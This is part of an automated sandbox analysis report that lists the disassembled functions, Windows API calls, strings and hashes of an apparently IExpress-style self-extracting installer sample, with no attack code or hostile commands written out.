
Uniqueness Score: -1.00%

Function 009A6298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 009A171E: _vsnprintf.MSVCRT ref: 009A1750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,009A51CA,00000004,00000024,009A2F71,?,00000002,00000000), ref: 009A62CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,009A51CA,00000004,00000024,009A2F71,?,00000002,00000000), ref: 009A62D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,009A51CA,00000004,00000024,009A2F71,?,00000002,00000000), ref: 009A631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 009A6345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,009A51CA,00000004,00000024,009A2F71,?,00000002,00000000), ref: 009A6357

Strings

UPDFILE%lu, xrefs: 009A62B3, 009A6329

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 9552dff256ae131d9adc629dc4878ae17231a1c43e3ca108037eeecac9be7c87
Instruction ID: 640659d12f5b1afb673f4a598fe9216365bf8bec1314d55ebb3d994da8dc2a85
Opcode Fuzzy Hash: 9552dff256ae131d9adc629dc4878ae17231a1c43e3ca108037eeecac9be7c87
Instruction Fuzzy Hash: FD21E175A04219ABDB149F64CC45ABFBB7CFF8A714B040129EA02A3241DB399D06DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 009A681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 009A686E
GetSystemMetrics.USER32(0000004A), ref: 009A68A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 009A68CC
RegQueryValueExA.ADVAPI32(?,009A1140,00000000,?,?,0000000C), ref: 009A68F4
RegCloseKey.ADVAPI32(?), ref: 009A6902

Part of subcall function 009A66F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,009A691A), ref: 009A6741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 009A68C2

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: d652ce9e45391847f20abf18f6a93d76d85844753546039c5b20d41d23144876
Instruction ID: 8cae0962c3376f6b1124c28dd46209b0cda2bb9d9cb88f47294b3a2d276f60b0
Opcode Fuzzy Hash: d652ce9e45391847f20abf18f6a93d76d85844753546039c5b20d41d23144876
Instruction Fuzzy Hash: A2315031A142289FDB218B11CC45BEBB7B8EF87768F0901ADE949A2140DB309D85DFD2

Uniqueness

Uniqueness Score: -1.00%

Function 009A3A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 009A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46A0
Part of subcall function 009A468F: SizeofResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46A9
Part of subcall function 009A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46C3
Part of subcall function 009A468F: LoadResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46CC
Part of subcall function 009A468F: LockResource.KERNEL32(00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46D3
Part of subcall function 009A468F: memcpy_s.MSVCRT ref: 009A46E5
Part of subcall function 009A468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,009A2F64,?,00000002,00000000), ref: 009A3A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 009A3AB3

Part of subcall function 009A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 009A4518
Part of subcall function 009A44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 009A4554

Part of subcall function 009A6285: GetLastError.KERNEL32(009A5BBC), ref: 009A6285

lstrcmpA.KERNEL32(<None>,00000000), ref: 009A3AD0
LocalFree.KERNEL32 ref: 009A3B13

Part of subcall function 009A6517: FindResourceA.KERNEL32(009A0000,000007D6,00000005), ref: 009A652A
Part of subcall function 009A6517: LoadResource.KERNEL32(009A0000,00000000,?,?,009A2EE8,00000000,009A19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 009A6538
Part of subcall function 009A6517: DialogBoxIndirectParamA.USER32(009A0000,00000000,00000547,009A19E0,00000000), ref: 009A6557
Part of subcall function 009A6517: FreeResource.KERNEL32(00000000,?,?,009A2EE8,00000000,009A19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 009A6560

LocalFree.KERNEL32(00000000,009A3100,00000000,00000000), ref: 009A3AF4

Strings

LICENSE, xrefs: 009A3A46
<None>, xrefs: 009A3AC5

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: ff1b750fcd2a0484e08fcb7af3b2f1b2d1e278e4276959f8a4ef2cb6c3bc5577
Instruction ID: ca5da934a205142c0b6635cff71274281d67b674758b0cc27c8ce4f269d59c69
Opcode Fuzzy Hash: ff1b750fcd2a0484e08fcb7af3b2f1b2d1e278e4276959f8a4ef2cb6c3bc5577
Instruction Fuzzy Hash: 39119630318211ABD760AF76AC09F2779FEEFDB700B10853EB545D61E1DA798800E6E5

Uniqueness

Uniqueness Score: -1.00%

Function 009A24E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 009A2506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 009A252C
_lopen.KERNEL32(?,00000040), ref: 009A253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 009A254C
_lclose.KERNEL32(00000000), ref: 009A2555

Strings

wininit.ini, xrefs: 009A2510

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: bb3489b2d0a85bf1f3c242356e22b79fc9f65f4c89330d0036e18aacae264a2b
Instruction ID: 249fe5367c8efdea24fce81ff1d290eaa900755c2655f549651b0455ea44be92
Opcode Fuzzy Hash: bb3489b2d0a85bf1f3c242356e22b79fc9f65f4c89330d0036e18aacae264a2b
Instruction Fuzzy Hash: 59019E32A041286BC7209B69DC0CEDBBB7DEF87760F000155FA49D3190DB748E45CAE1

Uniqueness

Uniqueness Score: -1.00%

Function 009A36EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 009A3723
MessageBeep.USER32(00000000), ref: 009A39C3
MessageBoxA.USER32(00000000,00000000,no230,00000030), ref: 009A39F1

Strings

3, xrefs: 009A3785
no230, xrefs: 009A39E9, 009A3A19

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$no230
API String ID: 2519184315-683699594
Opcode ID: ad925ea076ec5c0642802a851be74b976e0a9e76f646b7900ef6cfb2c6800d2b
Instruction ID: 1f099726c23590b3bc6f8f83fe18df0864049a0f508810a90413776b983ae486
Opcode Fuzzy Hash: ad925ea076ec5c0642802a851be74b976e0a9e76f646b7900ef6cfb2c6800d2b
Instruction Fuzzy Hash: 6891F2B1F152249BEB748F19CD807AA73A4AF87304F1580AAF8899B251D7748F81DBC1

Uniqueness

Uniqueness Score: -1.00%

Function 009A6495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 009A64DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 009A64F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 009A6502

Strings

advpack.dll, xrefs: 009A64C2, 009A64CD, 009A6501
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 009A64AC

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$advpack.dll
API String ID: 438848745-875882553
Opcode ID: 8cd0519e6e7816f31c5a25ff37c7a08945fc82d35c2f9119c013d5bf75ffb98f
Instruction ID: afd4ea3c035c6b0e163dd0796e01b211170be9b8898935fb755acc2addb13eb0
Opcode Fuzzy Hash: 8cd0519e6e7816f31c5a25ff37c7a08945fc82d35c2f9119c013d5bf75ffb98f
Instruction Fuzzy Hash: 0001D130A18108AFDB60DB64DC49BEA7378EF93314F500195F585921C0DF709E8ADAD1

Uniqueness

Uniqueness Score: -1.00%

Function 009A28E8 Relevance: 7.6, APIs: 5, Instructions: 140memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32 ref: 009A2A6F

Part of subcall function 009A2773: CharUpperA.USER32(50F8B8FD,00000000,00000000,00000000), ref: 009A27A8
Part of subcall function 009A2773: CharNextA.USER32(0000054D), ref: 009A27B5
Part of subcall function 009A2773: CharNextA.USER32(00000000), ref: 009A27BC
Part of subcall function 009A2773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 009A2829
Part of subcall function 009A2773: RegQueryValueExA.ADVAPI32(?,009A1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 009A2852
Part of subcall function 009A2773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 009A2870
Part of subcall function 009A2773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 009A28A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,009A3938,?,?,?,?,-00000005), ref: 009A2958
GlobalLock.KERNEL32 ref: 009A2969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,009A3938,?,?,?,?,-00000005,?), ref: 009A2A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?), ref: 009A2A81

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID:
API String ID: 3949799724-0
Opcode ID: 5c23f70d7ca080b515789dcdd130f7038a27a86eee5b3b500aaa4db4fdd858b0
Instruction ID: 6447a375f3e63e0202f67dddd6379d905ca800f24e570dd3c61adcd8af8a601a
Opcode Fuzzy Hash: 5c23f70d7ca080b515789dcdd130f7038a27a86eee5b3b500aaa4db4fdd858b0
Instruction Fuzzy Hash: EE511931E00219DFCB21DF98D984AAEFBB9FF4A700F14416AE915E3261DB319A41DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 009A4169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46A0
Part of subcall function 009A468F: SizeofResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46A9
Part of subcall function 009A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46C3
Part of subcall function 009A468F: LoadResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46CC
Part of subcall function 009A468F: LockResource.KERNEL32(00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46D3
Part of subcall function 009A468F: memcpy_s.MSVCRT ref: 009A46E5
Part of subcall function 009A468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,009A30B4), ref: 009A4189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,009A30B4), ref: 009A41E7

Part of subcall function 009A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 009A4518
Part of subcall function 009A44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 009A4554

Strings

FINISHMSG, xrefs: 009A4173, 009A41AB
<None>, xrefs: 009A41C5

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: cc375d0ec8f10dd8b57b9c50dd5dc59f2d69693223f295a4de833544502fab49
Instruction ID: 6a2bdf621a15ecf31f957a7e04a849ab61b6f74a4a6bd2b3377cb990a840b82c
Opcode Fuzzy Hash: cc375d0ec8f10dd8b57b9c50dd5dc59f2d69693223f295a4de833544502fab49
Instruction Fuzzy Hash: E201D1B53082243BF7241A658C86F7B21CEDBEB799F004035B705E11909EE8CC0141F5

Uniqueness

Uniqueness Score: -1.00%

Function 009A19E0 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 009A1A18
GetDesktopWindow.USER32 ref: 009A1A24
LoadStringA.USER32(?,?,00000200), ref: 009A1A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 009A1A62
MessageBeep.USER32(000000FF), ref: 009A1A6A

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: f61e65f2dc0276f1e26e94cc7c033da76ac9c985e5a4c55d99911806aa91fa77
Instruction ID: 2601f0e3cc2cfc9455e79c10a4993674b088e6b1a0ae73319673ce60ccff0365
Opcode Fuzzy Hash: f61e65f2dc0276f1e26e94cc7c033da76ac9c985e5a4c55d99911806aa91fa77
Instruction Fuzzy Hash: 7211A131619119AFDB10EF64DE08AAE77B8FF4B310F108155F912D2190DB349E01EBD5

Uniqueness

Uniqueness Score: -1.00%

Function 009A7155 Relevance: 7.6, APIs: 5, Instructions: 51timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 009A7182
GetCurrentProcessId.KERNEL32 ref: 009A7191
GetCurrentThreadId.KERNEL32 ref: 009A719A
GetTickCount.KERNEL32 ref: 009A71A3
QueryPerformanceCounter.KERNEL32(?), ref: 009A71B8

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3b23c848ac6bde3868800490fbca9051f9afb55699214db55cbc7c265b97db0c
Instruction ID: ac3e314fa5c60922f349444022f4bdaf462575f3118abb3ebfed1f6fc72da584
Opcode Fuzzy Hash: 3b23c848ac6bde3868800490fbca9051f9afb55699214db55cbc7c265b97db0c
Instruction Fuzzy Hash: 0211F871D29218AFCB10DBF8DA48A9EB7F8FF4A315F614865D805E7210EB349A04DB81

Uniqueness

Uniqueness Score: -1.00%

Function 009A63C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 009A642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 009A645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 009A647A

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 009A63EB

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 1065093856-3647970563
Opcode ID: 3e53e58b453e8481c5120e4dbab29ed30f1294ccfc15e7700af6eef7049a4935
Instruction ID: ba617331cb211c8a9d2efbb02ee3a39d0dadbf02be015dc0ddbc158095203013
Opcode Fuzzy Hash: 3e53e58b453e8481c5120e4dbab29ed30f1294ccfc15e7700af6eef7049a4935
Instruction Fuzzy Hash: 3521C071A04218AFDB10DF25DC85FEB77BCEB8A314F0041A9B595A3290DBB45D848FE4

Uniqueness

Uniqueness Score: -1.00%

Function 009A47E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,009A4E6F), ref: 009A47EA
LocalAlloc.KERNEL32(00000040,?), ref: 009A4823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 009A4847

Part of subcall function 009A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 009A4518
Part of subcall function 009A44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 009A4554

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 009A4851

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 359063898-3647970563
Opcode ID: 02669b595d4b9cf6a15b98815180116f824b8804ab7f14e1e91b0b0e72701bd2
Instruction ID: 23eff76fbb2a7e848598e666f8acd54a4f829ee33f7539209663c6cc6c8ae3fb
Opcode Fuzzy Hash: 02669b595d4b9cf6a15b98815180116f824b8804ab7f14e1e91b0b0e72701bd2
Instruction Fuzzy Hash: 4B11C2796086416FD7149F38AC18F773B9AEFC7300B148559FA829B241DA798C06D7E0

Uniqueness

Uniqueness Score: -1.00%

Function 009A3680 Relevance: 6.1, APIs: 4, Instructions: 51windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 009A369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 009A36B2
DispatchMessageA.USER32(?), ref: 009A36CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 009A36DA

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 8368db735f2867d449f1d02100a93c4b3c621b91fba2d86707c0d5af45596956
Instruction ID: 441b1556c9e769e428b78adf45b652597fed85ea14a2240d87b2b4e4cb7ff6db
Opcode Fuzzy Hash: 8368db735f2867d449f1d02100a93c4b3c621b91fba2d86707c0d5af45596956
Instruction Fuzzy Hash: 0C01A272A082147BDB304BA69C4DEEF7A7CEBC7B10F144129F905E2280D661CA40D6E0

Uniqueness

Uniqueness Score: -1.00%

Function 009A6517 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(009A0000,000007D6,00000005), ref: 009A652A
LoadResource.KERNEL32(009A0000,00000000,?,?,009A2EE8,00000000,009A19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 009A6538
DialogBoxIndirectParamA.USER32(009A0000,00000000,00000547,009A19E0,00000000), ref: 009A6557
FreeResource.KERNEL32(00000000,?,?,009A2EE8,00000000,009A19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 009A6560

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 47f24dede78510aac40e422f9d84c4a20444407f7a0806cbbd3418d95ae1e060
Instruction ID: 08a54efc4e3a52242dc802ed0745532325b5886d2cbeb2cb3c6bcaf5bf1f84d0
Opcode Fuzzy Hash: 47f24dede78510aac40e422f9d84c4a20444407f7a0806cbbd3418d95ae1e060
Instruction Fuzzy Hash: 77012672504215BBCB105FA99C08DBB7AADEF8B760F080125FE0093150D7718C10E6E1

Uniqueness

Uniqueness Score: -1.00%

Function 009A65E8 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,009A2B33), ref: 009A6602
CharPrevA.USER32(?,00000000), ref: 009A6612
CharPrevA.USER32(?,00000000), ref: 009A6629
CharNextA.USER32(00000000), ref: 009A6635

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
